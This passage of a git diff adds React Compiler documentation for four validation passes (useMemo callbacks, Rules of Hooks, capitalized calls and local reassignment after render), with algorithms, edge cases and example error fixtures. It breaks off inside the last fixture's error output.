+
+## File
+`src/Validation/ValidateUseMemo.ts`
+
+## Purpose
+This validation pass ensures that `useMemo()` callbacks follow React's requirements. The pass checks for several common mistakes that developers make when using `useMemo()`:
+
+1. Callbacks should not accept parameters (useMemo callbacks are called with no arguments)
+2. Callbacks should not be async or generator functions (must return a value synchronously)
+3. Callbacks should not reassign variables declared outside the callback (must be pure)
+4. Callbacks should return a value (useMemo is for computing values, not side effects)
+5. The result of useMemo should be used (not discarded)
+
+## Input Invariants
+- The function has been lowered to HIR
+- `useMemo` is either imported directly or accessed via `React.useMemo`
+- Function expressions have been lowered with their parameters and async/generator flags preserved
+
+## Validation Rules
+
+### Rule 1: No Parameters
+useMemo callbacks must not accept parameters.
+
+**Error:**
+```
+Error: useMemo() callbacks may not accept parameters
+
+useMemo() callbacks are called by React to cache calculations across re-renders. They should not take parameters. Instead, directly reference the props, state, or local variables needed for the computation.
+```
+
+### Rule 2: No Async or Generator Functions
+useMemo callbacks must synchronously return a value.
+
+**Error:**
+```
+Error: useMemo() callbacks may not be async or generator functions
+
+useMemo() callbacks are called once and must synchronously return a value.
+```
+
+### Rule 3: No Reassigning Outer Variables
+useMemo callbacks cannot reassign variables declared outside the callback.
+
+**Error:**
+```
+Error: useMemo() callbacks may not reassign variables declared outside of the callback
+
+useMemo() callbacks must be pure functions and cannot reassign variables defined outside of the callback function.
+```
+
+### Rule 4: Must Return a Value (when `validateNoVoidUseMemo` is enabled)
+useMemo callbacks should return a value.
+
+**Error:**
+```
+Error: useMemo() callbacks must return a value
+
+This useMemo() callback doesn't return a value. useMemo() is for computing and caching values, not for arbitrary side effects.
+```
+
+### Rule 5: Result Must Be Used (when `validateNoVoidUseMemo` is enabled)
+The result of useMemo should be used somewhere.
+
+**Error:**
+```
+Error: useMemo() result is unused
+
+This useMemo() value is unused. useMemo() is for computing and caching values, not for arbitrary side effects.
+```
+
+## Algorithm
+
+### Phase 1: Track useMemo References
+```typescript
+const useMemos = new Set<IdentifierId>();
+const react = new Set<IdentifierId>();
+const functions = new Map<IdentifierId, FunctionExpression>();
+const unusedUseMemos = new Map<IdentifierId, SourceLocation>();
+```
+
+The pass tracks:
+- Direct `useMemo` imports via `LoadGlobal`
+- `React` imports to detect `React.useMemo` pattern
+- Function expressions that might be useMemo callbacks
+- Unused useMemo results
+
+### Phase 2: Identify useMemo Calls
+```typescript
+for (const instr of block.instructions) {
+  switch (value.kind) {
+    case 'LoadGlobal':
+      if (value.binding.name === 'useMemo') {
+        useMemos.add(lvalue.identifier.id);
+      } else if (value.binding.name === 'React') {
+        react.add(lvalue.identifier.id);
+      }
+      break;
+    case 'PropertyLoad':
+      if (react.has(value.object.identifier.id) && value.property === 'useMemo') {
+        useMemos.add(lvalue.identifier.id);
+      }
+      break;
+    case 'CallExpression':
+    case 'MethodCall':
+      // Check if callee is useMemo
+      const callee = value.kind === 'CallExpression' ? value.callee : value.property;
+      if (useMemos.has(callee.identifier.id) && value.args.length > 0) {
+        // Validate the callback
+      }
+      break;
+  }
+}
+```
+
+### Phase 3: Validate Callback
+For each useMemo call, the pass retrieves the callback function expression and validates:
+
+```typescript
+const body = functions.get(arg.identifier.id);
+
+// Check for parameters
+if (body.loweredFunc.func.params.length > 0) {
+  errors.push("useMemo() callbacks may not accept parameters");
+}
+
+// Check for async/generator
+if (body.loweredFunc.func.async || body.loweredFunc.func.generator) {
+  errors.push("useMemo() callbacks may not be async or generator functions");
+}
+
+// Check for context variable reassignment
+validateNoContextVariableAssignment(body.loweredFunc.func, errors);
+
+// Check for return value (if config enabled)
+if (fn.env.config.validateNoVoidUseMemo) {
+  if (!hasNonVoidReturn(body.loweredFunc.func)) {
+    errors.push("useMemo() callbacks must return a value");
+  }
+}
+```
+
+### Phase 4: Validate No Context Variable Assignment
+```typescript
+function validateNoContextVariableAssignment(fn: HIRFunction, errors: CompilerError) {
+  const context = new Set(fn.context.map(place => place.identifier.id));
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      if (value.kind === 'StoreContext') {
+        if (context.has(value.lvalue.place.identifier.id)) {
+          errors.push("Cannot reassign variable");
+        }
+      }
+    }
+  }
+}
+```
+
+### Phase 5: Check for Unused Results
+```typescript
+// Track which useMemo results are referenced
+for (const operand of eachInstructionValueOperand(value)) {
+  unusedUseMemos.delete(operand.identifier.id);
+}
+
+// At the end, report any unused useMemos
+for (const loc of unusedUseMemos.values()) {
+  errors.push("useMemo() result is unused");
+}
+```
+
+### Return Value Helper
+```typescript
+function hasNonVoidReturn(func: HIRFunction): boolean {
+  for (const [, block] of func.body.blocks) {
+    if (block.terminal.kind === 'return') {
+      if (block.terminal.returnVariant === 'Explicit' ||
+          block.terminal.returnVariant === 'Implicit') {
+        return true;
+      }
+    }
+  }
+  return false;
+}
+```
+
+## Edge Cases
+
+### React.useMemo vs useMemo
+The pass handles both import styles:
+```javascript
+import {useMemo} from 'react';
+useMemo(() => x, [x]);
+
+import React from 'react';
+React.useMemo(() => x, [x]);
+```
+
+### Immediately Used Results
+Results that are used immediately don't trigger the "unused" warning:
+```javascript
+const x = useMemo(() => compute(), [dep]);
+return x; // x is used
+```
+
+### Void Return Detection
+The pass checks for explicit and implicit returns. A function with only `return;` statements (void returns) will trigger the "must return a value" error.
+
+### VoidUseMemo Errors as Logged Errors
+The void useMemo errors (no return value, unused result) are logged via `fn.env.logErrors()` rather than thrown immediately. This allows them to be treated differently (e.g., as warnings) based on configuration.
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `error.invalid-useMemo-callback-args.js`
+
+**Input:**
+```javascript
+function component(a, b) {
+  let x = useMemo(c => a, []);
+  return x;
+}
+```
+
+**Error:**
+```
+Error: useMemo() callbacks may not accept parameters
+
+useMemo() callbacks are called by React to cache calculations across re-renders. They should not take parameters. Instead, directly reference the props, state, or local variables needed for the computation.
+
+error.invalid-useMemo-callback-args.ts:2:18
+  1 | function component(a, b) {
+> 2 |   let x = useMemo(c => a, []);
+    |                   ^ Callbacks with parameters are not supported
+  3 |   return x;
+  4 | }
+```
+
+### Fixture: `error.invalid-useMemo-async-callback.js`
+
+**Input:**
+```javascript
+function component(a, b) {
+  let x = useMemo(async () => {
+    await a;
+  }, []);
+  return x;
+}
+```
+
+**Error:**
+```
+Error: useMemo() callbacks may not be async or generator functions
+
+useMemo() callbacks are called once and must synchronously return a value.
+
+error.invalid-useMemo-async-callback.ts:2:18
+  1 | function component(a, b) {
+> 2 |   let x = useMemo(async () => {
+    |                   ^^^^^^^^^^^^^
+> 3 |     await a;
+    | ^^^^^^^^^^^^
+> 4 |   }, []);
+    | ^^^^ Async and generator functions are not supported
+```
+
+### Fixture: `error.invalid-reassign-variable-in-usememo.js`
+
+**Input:**
+```javascript
+function Component() {
+  let x;
+  const y = useMemo(() => {
+    let z;
+    x = [];
+    z = true;
+    return z;
+  }, []);
+  return [x, y];
+}
+```
+
+**Error:**
+```
+Error: useMemo() callbacks may not reassign variables declared outside of the callback
+
+useMemo() callbacks must be pure functions and cannot reassign variables defined outside of the callback function.
+
+error.invalid-reassign-variable-in-usememo.ts:5:4
+  3 |   const y = useMemo(() => {
+  4 |     let z;
+> 5 |     x = [];
+    |     ^ Cannot reassign variable
+  6 |     z = true;
+  7 |     return z;
+  8 |   }, []);
+```
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/41-validateHooksUsage.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/41-validateHooksUsage.md
new file mode 100644
index 000000000000..0ed046669821
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/41-validateHooksUsage.md
@@ -0,0 +1,330 @@
+# validateHooksUsage
+
+## File
+`src/Validation/ValidateHooksUsage.ts`
+
+## Purpose
+This validation pass ensures that the function honors the [Rules of Hooks](https://react.dev/warnings/invalid-hook-call-warning). Specifically, it validates that:
+
+1. Hooks may only be called unconditionally (not in if statements, loops, etc.)
+2. Hooks cannot be used as first-class values (passed around, stored in variables, etc.)
+3. Hooks must be the same function on every render (no dynamic hooks)
+4. Hooks must be called at the top level, not within nested function expressions
+
+## Input Invariants
+- The function has been lowered to HIR
+- Global bindings have been resolved and typed
+- Nested function expressions have been lowered
+
+## Value Kinds Lattice
+
+The pass uses abstract interpretation with a lattice of value kinds:
+
+```typescript
+enum Kind {
+  Error,        // Hook already used in an invalid way (stop reporting)
+  KnownHook,    // Definitely a hook (from LoadGlobal with hook type)
+  PotentialHook, // Might be a hook (hook-like name but not from global)
+  Global,       // A global value that is not a hook
+  Local,        // A local variable
+}
+```
+
+The `joinKinds` function merges kinds, with earlier kinds taking precedence:
+- `Error` > `KnownHook` > `PotentialHook` > `Global` > `Local`
+
+## Validation Rules
+
+### Rule 1: No Conditional Hook Calls
+Hooks must always be called in a consistent order.
+
+**Error:**
+```
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+```
+
+### Rule 2: No Hooks as First-Class Values
+Known hooks may not be referenced as normal values (only called).
+
+**Error:**
+```
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+```
+
+### Rule 3: No Dynamic Hooks
+Potential hooks (hook-like names from local scope) may change between renders.
+
+**Error:**
+```
+Error: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks
+```
+
+### Rule 4: No Hooks in Nested Functions
+Hooks must be called at the top level of a component or custom hook.
+
+**Error:**
+```
+Error: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+Cannot call [hookKind] within a function expression
+```
+
+## Algorithm
+
+### Phase 1: Compute Unconditional Blocks
+```typescript
+const unconditionalBlocks = computeUnconditionalBlocks(fn);
+```
+Determines which blocks are guaranteed to execute on every render (not inside conditionals).
+
+### Phase 2: Initialize Tracking
+```typescript
+const valueKinds = new Map<IdentifierId, Kind>();
+
+// Initialize parameters
+for (const param of fn.params) {
+  const place = param.kind === 'Identifier' ? param : param.place;
+  const kind = getKindForPlace(place); // PotentialHook if hook-like name
+  setKind(place, kind);
+}
+```
+
+### Phase 3: Track Value Kinds Through Instructions
+
+For each instruction, the pass tracks how hook-ness flows through values:
+
+```typescript
+case 'LoadGlobal':
+  // Globals are the source of KnownHook
+  if (getHookKind(fn.env, instr.lvalue.identifier) != null) {
+    setKind(instr.lvalue, Kind.KnownHook);
+  } else {
+    setKind(instr.lvalue, Kind.Global);
+  }
+  break;
+
+case 'PropertyLoad':
+  // Hook-like property of Global -> KnownHook
+  // Hook-like property of Local -> PotentialHook
+  // Property of KnownHook -> KnownHook (if hook-like name)
+  const objectKind = getKindForPlace(value.object);
+  const isHookProperty = isHookName(value.property);
+  // Determine kind based on object kind and property name
+  break;
+
+case 'CallExpression':
+  const calleeKind = getKindForPlace(value.callee);
+  const isHookCallee = calleeKind === Kind.KnownHook || calleeKind === Kind.PotentialHook;
+
+  if (isHookCallee && !unconditionalBlocks.has(block.id)) {
+    recordConditionalHookError(value.callee);
+  } else if (calleeKind === Kind.PotentialHook) {
+    recordDynamicHookUsageError(value.callee);
+  }
+  break;
+```
+
+### Phase 4: Check for Invalid Hook References
+
+When a `KnownHook` is used as an operand (not as a callee), it's an error:
+
+```typescript
+function visitPlace(place: Place): void {
+  const kind = valueKinds.get(place.identifier.id);
+  if (kind === Kind.KnownHook) {
+    recordInvalidHookUsageError(place);
+  }
+}
+```
+
+### Phase 5: Validate Nested Function Expressions
+
+Recursively check that nested functions don't call hooks:
+
+```typescript
+function visitFunctionExpression(errors: CompilerError, fn: HIRFunction) {
+  for (const instr of allInstructions(fn)) {
+    if (isCall(instr)) {
+      const callee = getCallee(instr);
+      const hookKind = getHookKind(fn.env, callee.identifier);
+      if (hookKind != null) {
+        errors.push({
+          reason: 'Hooks must be called at the top level...',
+          description: `Cannot call ${hookKind} within a function expression`,
+        });
+      }
+    }
+    // Recursively check nested functions
+    if (isFunctionExpression(instr)) {
+      visitFunctionExpression(errors, instr.value.loweredFunc.func);
+    }
+  }
+}
+```
+
+### Phi Node Handling
+
+For phi nodes (control flow join points), the pass joins the kinds of all operands:
+
+```typescript
+for (const phi of block.phis) {
+  let kind = isHookName(phi.place.identifier.name) ? Kind.PotentialHook : Kind.Local;
+  for (const [, operand] of phi.operands) {
+    const operandKind = valueKinds.get(operand.identifier.id);
+    if (operandKind !== undefined) {
+      kind = joinKinds(kind, operandKind);
+    }
+  }
+  valueKinds.set(phi.place.identifier.id, kind);
+}
+```
+
+## Edge Cases
+
+### Optional Calls
+Optional calls like `useHook?.()` are treated as conditional:
+```javascript
+const result = useHook?.(); // Error: conditional hook call
+```
+
+### Property Access on Hooks
+Hook-like properties of known hooks are also known hooks:
+```javascript
+const useFoo = useHook.useFoo; // useFoo is KnownHook
+useFoo(); // Must be called unconditionally
+```
+
+### Destructuring from Global
+Destructuring hook-like names from a global creates known hooks:
+```javascript
+const {useState} = React; // useState is KnownHook
+```
+
+### Hook-Like Names from Local Variables
+Hook-like names from local variables are potential hooks:
+```javascript
+const obj = createObject();
+const useFoo = obj.useFoo; // PotentialHook
+useFoo(); // Error: dynamic hook
+```
+
+### Error Deduplication
+The pass deduplicates errors by source location, and once an error is recorded for a place, it's marked as `Kind.Error` to prevent further errors for the same place.
+
+## TODOs
+
+1. **Fixpoint iteration for loops** - The pass currently skips phi operands whose value is unknown (which can occur in loops). A follow-up could expand this to fixpoint iteration:
+   ```typescript
+   // NOTE: we currently skip operands whose value is unknown
+   // (which can only occur for functions with loops), we may
+   // cause us to miss invalid code in some cases. We should
+   // expand this to a fixpoint iteration in a follow-up.
+   ```
+
+## Example
+
+### Fixture: `rules-of-hooks/error.invalid-hook-if-consequent.js`
+
+**Input:**
+```javascript
+function Component(props) {
+  let x = null;
+  if (props.cond) {
+    x = useHook();
+  }
+  return x;
+}
+```
+
+**Error:**
+```
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-hook-if-consequent.ts:4:8
+  2 |   let x = null;
+  3 |   if (props.cond) {
+> 4 |     x = useHook();
+    |         ^^^^^^^ Hooks must always be called in a consistent order...
+  5 |   }
+  6 |   return x;
+```
+
+### Fixture: `rules-of-hooks/error.invalid-hook-as-prop.js`
+
+**Input:**
+```javascript
+function Component({useFoo}) {
+  useFoo();
+}
+```
+
+**Error:**
+```
+Error: Hooks must be the same function on every render, but this value may change over time to a different function. See https://react.dev/reference/rules/react-calls-components-and-hooks#dont-dynamically-use-hooks
+
+error.invalid-hook-as-prop.ts:2:2
+  1 | function Component({useFoo}) {
+> 2 |   useFoo();
+    |   ^^^^^^ Hooks must be the same function on every render...
+  3 | }
+```
+
+### Fixture: `rules-of-hooks/error.invalid-hook-in-nested-function-expression-object-expression.js`
+
+**Input:**
+```javascript
+function Component() {
+  'use memo';
+  const f = () => {
+    const x = {
+      outer() {
+        const g = () => {
+          const y = {
+            inner() {
+              return useFoo();
+            },
+          };
+          return y;
+        };
+      },
+    };
+    return x;
+  };
+}
+```
+
+**Error:**
+```
+Error: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+Cannot call hook within a function expression.
+
+error.invalid-hook-in-nested-function-expression-object-expression.ts:10:21
+   8 |           const y = {
+   9 |             inner() {
+> 10 |               return useFoo();
+     |                      ^^^^^^ Hooks must be called at the top level...
+  11 |             },
+  12 |           };
+```
+
+### Fixture: `rules-of-hooks/error.invalid-hook-optionalcall.js`
+
+**Input:**
+```javascript
+function Component() {
+  const {result} = useConditionalHook?.() ?? {};
+  return result;
+}
+```
+
+**Error:**
+```
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-hook-optionalcall.ts:2:19
+  1 | function Component() {
+> 2 |   const {result} = useConditionalHook?.() ?? {};
+    |                    ^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order...
+  3 |   return result;
+```
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/42-validateNoCapitalizedCalls.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/42-validateNoCapitalizedCalls.md
new file mode 100644
index 000000000000..cf4c2bbe9545
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/42-validateNoCapitalizedCalls.md
@@ -0,0 +1,221 @@
+# validateNoCapitalizedCalls
+
+## File
+`src/Validation/ValidateNoCapitalizedCalls.ts`
+
+## Purpose
+This validation pass ensures that capitalized functions are not called directly in a component. In React, capitalized functions are conventionally reserved for components, which should be invoked via JSX syntax rather than direct function calls.
+
+Direct calls to capitalized functions can cause issues because:
+1. Components may contain hooks, and calling them directly violates the Rules of Hooks
+2. The React runtime expects components to be rendered via JSX for proper reconciliation
+3. Direct calls bypass React's rendering lifecycle and state management
+
+This validation is opt-in and controlled by the `validateNoCapitalizedCalls` configuration option.
+
+## Input Invariants
+- The function has been lowered to HIR
+- Global bindings have been resolved
+- The `validateNoCapitalizedCalls` configuration option is enabled (via pragma or config)
+
+## Validation Rules
+
+### Rule 1: No Direct Calls to Capitalized Globals
+Capitalized global functions (not in the allowlist) cannot be called directly.
+
+**Error:**
+```
+Error: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config
+
+[FunctionName] may be a component.
+```
+
+### Rule 2: No Direct Method Calls to Capitalized Properties
+Capitalized methods on objects cannot be called directly.
+
+**Error:**
+```
+Error: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config
+
+[MethodName] may be a component.
+```
+
+## Algorithm
+
+### Phase 1: Build Allowlist
+```typescript
+const ALLOW_LIST = new Set([
+  ...DEFAULT_GLOBALS.keys(),           // Built-in globals (Array, Object, etc.)
+  ...(envConfig.validateNoCapitalizedCalls ?? []),  // User-configured allowlist
+]);
+
+const isAllowed = (name: string): boolean => {
+  return ALLOW_LIST.has(name);
+};
+```
+
+### Phase 2: Track Capitalized Globals and Properties
+```typescript
+const capitalLoadGlobals = new Map<IdentifierId, string>();
+const capitalizedProperties = new Map<IdentifierId, string>();
+```
+
+### Phase 3: Scan Instructions
+```typescript
+for (const instr of block.instructions) {
+  switch (value.kind) {
+    case 'LoadGlobal':
+      // Track capitalized globals (excluding CONSTANTS)
+      if (
+        value.binding.name !== '' &&
+        /^[A-Z]/.test(value.binding.name) &&
+        !(value.binding.name.toUpperCase() === value.binding.name) &&
+        !isAllowed(value.binding.name)
+      ) {
+        capitalLoadGlobals.set(lvalue.identifier.id, value.binding.name);
+      }
+      break;
+
+    case 'CallExpression':
+      // Check if calling a tracked capitalized global
+      const calleeName = capitalLoadGlobals.get(value.callee.identifier.id);
+      if (calleeName != null) {
+        CompilerError.throwInvalidReact({
+          reason: 'Capitalized functions are reserved for components...',
+          description: `${calleeName} may be a component`,
+          ...
+        });
+      }
+      break;
+
+    case 'PropertyLoad':
+      // Track capitalized properties
+      if (typeof value.property === 'string' && /^[A-Z]/.test(value.property)) {
+        capitalizedProperties.set(lvalue.identifier.id, value.property);
+      }
+      break;
+
+    case 'MethodCall':
+      // Check if calling a tracked capitalized property
+      const propertyName = capitalizedProperties.get(value.property.identifier.id);
+      if (propertyName != null) {
+        errors.push({
+          reason: 'Capitalized functions are reserved for components...',
+          description: `${propertyName} may be a component`,
+          ...
+        });
+      }
+      break;
+  }
+}
+```
+
+## Edge Cases
+
+### ALL_CAPS Constants
+Functions with names that are entirely uppercase (like `CONSTANTS`) are not flagged:
+```javascript
+const x = MY_CONSTANT(); // Not an error - all caps indicates a constant, not a component
+const y = MyComponent(); // Error - PascalCase indicates a component
+```
+
+### Built-in Globals
+The default globals from `DEFAULT_GLOBALS` are automatically allowlisted:
+```javascript
+const arr = Array(5);    // OK - Array is a built-in
+const obj = Object.create(null);  // OK - Object is a built-in
+```
+
+### User-Configured Allowlist
+Users can allowlist specific functions via configuration:
+```typescript
+validateNoCapitalizedCalls: ['MyUtility', 'SomeFactory']
+```
+
+### Method Calls vs Function Calls
+Both direct function calls and method calls on objects are checked:
+```javascript
+MyComponent();           // Error - direct call
+someObject.MyComponent(); // Error - method call
+```
+
+### Chained Property Access
+Only the immediate property being called is checked:
+```javascript
+a.b.MyComponent(); // Only checks if MyComponent is capitalized
+```
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `error.capitalized-function-call.js`
+
+**Input:**
+```javascript
+// @validateNoCapitalizedCalls
+function Component() {
+  const x = SomeFunc();
+
+  return x;
+}
+```
+
+**Error:**
+```
+Error: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config
+
+SomeFunc may be a component.
+
+error.capitalized-function-call.ts:3:12
+  1 | // @validateNoCapitalizedCalls
+  2 | function Component() {
+> 3 |   const x = SomeFunc();
+    |             ^^^^^^^^^^ Capitalized functions are reserved for components...
+  4 |
+  5 |   return x;
+  6 | }
+```
+
+### Fixture: `error.capitalized-method-call.js`
+
+**Input:**
+```javascript
+// @validateNoCapitalizedCalls
+function Component() {
+  const x = someGlobal.SomeFunc();
+
+  return x;
+}
+```
+
+**Error:**
+```
+Error: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config
+
+SomeFunc may be a component.
+
+error.capitalized-method-call.ts:3:12
+  1 | // @validateNoCapitalizedCalls
+  2 | function Component() {
+> 3 |   const x = someGlobal.SomeFunc();
+    |             ^^^^^^^^^^^^^^^^^^^^^ Capitalized functions are reserved for components...
+  4 |
+  5 |   return x;
+  6 | }
+```
+
+### Fixture: `capitalized-function-allowlist.js` (No Error)
+
+**Input:**
+```javascript
+// @validateNoCapitalizedCalls:["SomeFunc"]
+function Component() {
+  const x = SomeFunc();
+  return x;
+}
+```
+
+**Output:**
+Compiles successfully because `SomeFunc` is in the allowlist.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/43-validateLocalsNotReassignedAfterRender.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/43-validateLocalsNotReassignedAfterRender.md
new file mode 100644
index 000000000000..3c6b16d2fb91
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/43-validateLocalsNotReassignedAfterRender.md
@@ -0,0 +1,321 @@
+# validateLocalsNotReassignedAfterRender
+
+## File
+`src/Validation/ValidateLocalsNotReassignedAfterRender.ts`
+
+## Purpose
+This validation pass prevents a category of bugs where a closure captures a binding from one render but does not update when the binding is reassigned in a later render.
+
+When the React Compiler memoizes a function, that function captures bindings at the time of creation. If the function is reused across renders (because its dependencies haven't changed), any reassignments to captured variables will affect the wrong binding version. This can cause inconsistent behavior that's difficult to debug.
+
+The pass detects when:
+1. A local variable is reassigned within a function expression
+2. That function expression escapes (e.g., passed to useEffect, used as event handler)
+3. The reassignment would occur after render completes (in effects or async callbacks)
+
+## Input Invariants
+- The function has been lowered to HIR
+- Effects have been inferred for all operands (`operand.effect !== Effect.Unknown`)
+- Function signatures have been analyzed for `noAlias` properties
+
+## Validation Rules
+
+### Rule 1: No Reassignment After Render
+Variables cannot be reassigned in functions that escape to be called after render.
+
+**Error:**
+```
+Error: Cannot reassign variable after render completes
+
+Reassigning `[variable]` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.
+```
+
+### Rule 2: No Reassignment in Async Functions
+Variables cannot be reassigned within async functions (async functions always execute after render).
+
+**Error:**
+```
+Error: Cannot reassign variable in async function
+
+Reassigning a variable in an async function can cause inconsistent behavior on subsequent renders. Consider using state instead.
+```
+
+## Algorithm
+
+### Phase 1: Track Context Variables
+Context variables are variables declared in the outer component/hook that are captured by inner functions:
+
+```typescript
+const contextVariables = new Set<IdentifierId>();
+
+// For DeclareContext in the main function, add to tracking
+case 'DeclareContext':
+  if (!isFunctionExpression) {
+    contextVariables.add(value.lvalue.place.identifier.id);
+  }
+  break;
+```
+
+### Phase 2: Detect Reassigning Functions
+The pass tracks which functions contain reassignments to context variables:
+
+```typescript
+const reassigningFunctions = new Map<IdentifierId, Place>();
+
+case 'FunctionExpression':
+case 'ObjectMethod':
+  // Recursively check if the function reassigns context variables
+  let reassignment = getContextReassignment(
+    value.loweredFunc.func,
+    contextVariables,
+    true,  // isFunctionExpression
+    isAsync || value.loweredFunc.func.async
+  );
+
+  // Also check if any captured functions reassign
+  if (reassignment === null) {
+    for (const operand of eachInstructionValueOperand(value)) {
+      const fromOperand = reassigningFunctions.get(operand.identifier.id);
+      if (fromOperand !== undefined) {
+        reassignment = fromOperand;
+        break;
+      }
+    }
+  }
+
+  if (reassignment !== null) {
+    // If async, error immediately
+    if (isAsync || value.loweredFunc.func.async) {
+      throw new CompilerError("Cannot reassign variable in async function");
+    }
+    // Otherwise, track this function as reassigning
+    reassigningFunctions.set(lvalue.identifier.id, reassignment);
+  }
+  break;
+```
+
+### Phase 3: Detect Reassignment in Function Expression
+Within a function expression, a `StoreContext` to a context variable is a reassignment:
+
+```typescript
+case 'StoreContext':
+  if (isFunctionExpression) {
+    if (contextVariables.has(value.lvalue.place.identifier.id)) {
+      return value.lvalue.place;  // Found a reassignment
+    }
+  } else {
+    // In main function, just track the context variable
+    contextVariables.add(value.lvalue.place.identifier.id);
+  }
+  break;
+```
+
+### Phase 4: Propagate Reassignment Through Data Flow
+Reassigning functions flow through local/context stores:
+
+```typescript
+case 'StoreLocal':
+case 'StoreContext':
+  const reassignment = reassigningFunctions.get(value.value.identifier.id);
+  if (reassignment !== undefined) {
+    reassigningFunctions.set(value.lvalue.place.identifier.id, reassignment);
+    reassigningFunctions.set(lvalue.identifier.id, reassignment);
+  }
+  break;
+
+case 'LoadLocal':
+  const reassignment = reassigningFunctions.get(value.place.identifier.id);
+  if (reassignment !== undefined) {
+    reassigningFunctions.set(lvalue.identifier.id, reassignment);
+  }
+  break;
+```
+
+### Phase 5: Check Escape Points
+When a reassigning function is used as an operand with `Effect.Freeze`, it means the function escapes (e.g., passed to a hook, used as a prop):
+
+```typescript
+for (const operand of operands) {
+  const reassignment = reassigningFunctions.get(operand.identifier.id);
+  if (reassignment !== undefined) {
+    if (operand.effect === Effect.Freeze) {
+      // Function escapes - this is an error
+      return reassignment;
+    } else {
+      // Function doesn't escape yet, propagate to lvalues
+      for (const lval of eachInstructionLValue(instr)) {
+        reassigningFunctions.set(lval.identifier.id, reassignment);
+      }
+    }
+  }
+}
+```
+
+### Phase 6: Check Terminal Operands
+Reassigning functions used in terminal operands (like return) also escape:
+
+```typescript
+for (const operand of eachTerminalOperand(block.terminal)) {
+  const reassignment = reassigningFunctions.get(operand.identifier.id);
+  if (reassignment !== undefined) {
+    return reassignment;
+  }
+}
+```
+
+### NoAlias Optimization
+For function calls with `noAlias` signatures, only the callee needs to be checked (not all arguments):
+
+```typescript
+if (value.kind === 'CallExpression') {
+  const signature = getFunctionCallSignature(fn.env, value.callee.identifier.type);
+  if (signature?.noAlias) {
+    operands = [value.callee];  // Only check the callee
+  }
+}
+```
+
+## Edge Cases
+
+### Nested Async Functions
+Async functions are always detected as problematic, regardless of nesting level:
+```javascript
+function Component() {
+  let x = 0;
+  const f = async () => {
+    const g = () => {
+      x = 1;  // Error: in async context
+    };
+  };
+}
+```
+
+### Function Composition
+If a reassigning function is captured by another function, that outer function is also marked as reassigning:
+```javascript
+function Component() {
+  let x = 0;
+  const reassign = () => { x = 1; };
+  const wrapper = () => { reassign(); };
+  useEffect(wrapper);  // Error: wrapper contains reassign
+}
+```
+
+### NoAlias Functions
+Functions with `noAlias` signatures don't let their arguments escape, so passing a reassigning function to them is safe:
+```javascript
+function Component() {
+  let x = 0;
+  const f = () => { x = 1; };
+  console.log(f);  // OK: console.log has noAlias, f doesn't escape
+}
+```
+
+### Direct Effect Usage
+The most common case is passing a reassigning function to useEffect:
+```javascript
+function Component() {
+  let local;
+  const reassign = () => { local = 'new value'; };
+  useEffect(() => { reassign(); }, []);  // Error
+}
+```
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `error.invalid-reassign-local-variable-in-effect.js`
+
+**Input:**
+```javascript
+import {useEffect} from 'react';
+
+function Component() {
+  let local;
+
+  const reassignLocal = newValue => {
+    local = newValue;
+  };
+
+  const onMount = newValue => {
+    reassignLocal('hello');
+
+    if (local === newValue) {
+      // Without React Compiler, `reassignLocal` is freshly created
+      // on each render, capturing a binding to the latest `local`,
+      // such that invoking reassignLocal will reassign the same
+      // binding that we are observing in the if condition, and
+      // we reach this branch
+      console.log('`local` was updated!');
+    } else {
+      // With React Compiler enabled, `reassignLocal` is only created
+      // once, capturing a binding to `local` in that render pass.
+      // Therefore, calling `reassignLocal` will reassign the wrong
+      // version of `local`, and not update the binding we are checking
+      // in the if condition.
+      throw new Error('`local` not updated!');
+    }
+  };
+
+  useEffect(() => {
+    onMount();
+  }, [onMount]);
+
+  return 'ok';
+}
+```
+
+**Error:**
+```
+Error: Cannot reassign variable after render completes
+
+Reassigning `local` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-effect.ts:7:4
+   5 |
